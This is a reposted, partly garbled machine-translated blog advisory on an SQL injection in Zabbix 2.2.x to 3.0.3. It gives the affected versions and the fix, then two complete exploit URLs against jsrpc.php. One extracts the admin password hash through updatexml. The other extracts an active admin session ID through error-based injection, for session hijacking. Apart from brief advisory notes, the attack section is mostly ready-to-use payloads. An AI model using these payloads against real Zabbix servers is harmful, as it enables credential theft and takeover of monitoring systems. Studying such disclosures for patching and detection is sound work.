Zabbix 2.2.x/2.4.x/3.0.0-3.0.3-sql Injection

Source: Internet
Author: User

Vulnerability Source: HTTP://SECLISTS.ORG/FULLDISCLOSURE/2016/AUG/60

Attack Cost: Low

Hazard level: High

Conditions of Use: Guest user rights are required (not logged in user is set to the Guest user's access rights)

Impact Range:2.2.x/2.4.x/3.0.0-3.0.3

Fix recommendations: Disable the Guest user or upgrade to 3.0.4

Exploit:

Password Explosion

sanr.com/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083 &mode=2&screenid=&groupid=&hostid=0&pagefile=history.php&profileidx=web.item.graph &profileidx2=2 and Updatexml (1,concat (0x3a, (select passwd from zabbix.users limit 0,1), 1))%23&updateprofile= True&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5b23297%5d= 23297&action=showlatest&filter=&filter_task=&mark_color=1

The output is as follows to indicate that the vulnerability exists:

650) this.width=650; "src=" Http://s5.51cto.com/wyfs02/M00/86/1E/wKioL1e1SNjBxxvtAAC8nFNlxd0879.png "title=" QQ picture 20160818133342.png "alt=" Wkiol1e1snjbxxvtaac8nfnlxd0879.png "/>

The output is as follows to disable guest:

650) this.width=650; "src=" Http://s2.51cto.com/wyfs02/M00/86/1E/wKioL1e1Sfvy-9pCAADd3By_ozw823.png "title=" 2.png " alt= "Wkiol1e1sfvy-9pcaadd3by_ozw823.png"/>

Pop SessionID (You can use session spoofing in case of password cracking)

Need to take out the burst to SessionID in front of the number 1, in order to modify the value of Zbx_sessionid .

sanr.com/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pagefile=history.php &profileidx=web.item.graph&profileidx2= (select (1) from the users where 1=1 and (select 1 from (SELECT COUNT (*), Conca T (Floor (rand (0) *), (substring ((select Concat (sessionid,0x7e,userid,0x7e,status) from sessions where status=0 and userid=1 LIMIT 0,1)), 1,62))) (A from Information_schema.tables group by a) b)) &updateprofile=true&period=3600 &stime=20160817050632&resourcetype=17

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/86/1F/wKiom1e1VtqSy3yeAAEJ5vmTyq8452.png "style=" float: none; "Title=" Session 1.png "alt=" Wkiom1e1vtqsy3yeaaej5vmtyq8452.png "/>


650) this.width=650; "src=" Http://s4.51cto.com/wyfs02/M02/86/1F/wKiom1e1Vtvxe6tJAAICI3mnauM375.png "style=" float: none; "title=" SessionID 2.png "alt=" Wkiom1e1vtvxe6tjaaici3mnaum375.png "/>

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/86/1E/wKioL1e1VtriLSbhAAHGirrU650177.png "title=" Session 33.png "style=" Float:none; "alt=" Wkiol1e1vtrilsbhaahgirru650177.png "/>

Zabbix Specific Edition number view

Version 2.x

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M00/86/1E/wKiom1e1SoOAv1G5AAGHJp2doBU152.png "style=" float: none; "title=" 3.1.png "alt=" Wkiom1e1sooav1g5aaghjp2dobu152.png "/>

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M00/86/1E/wKioL1e1SoSxHHMkAAFg-OrySWk538.png "style=" float: none; "title=" 3.2.png "alt=" Wkiol1e1sosxhhmkaafg-oryswk538.png "/>

Version 3.x

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/86/1E/wKiom1e1Ss2Co2-zAAAwVTl-FVg769.png "style=" float: none; "title=" 3.3.png "alt=" Wkiom1e1ss2co2-zaaawvtl-fvg769.png "/>

650) this.width=650; "src=" Http://s5.51cto.com/wyfs02/M01/86/1E/wKioL1e1St6BfmD_AABfDCp9jEY513.png "title=" 3.4. PNG "alt=" Wkiol1e1st6bfmd_aabfdcp9jey513.png "/>



This article is from the "Sanr" blog, make sure to keep this source http://0x007.blog.51cto.com/6330498/1839937

Zabbix 2.2.x/2.4.x/3.0.0-3.0.3-sql Injection

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.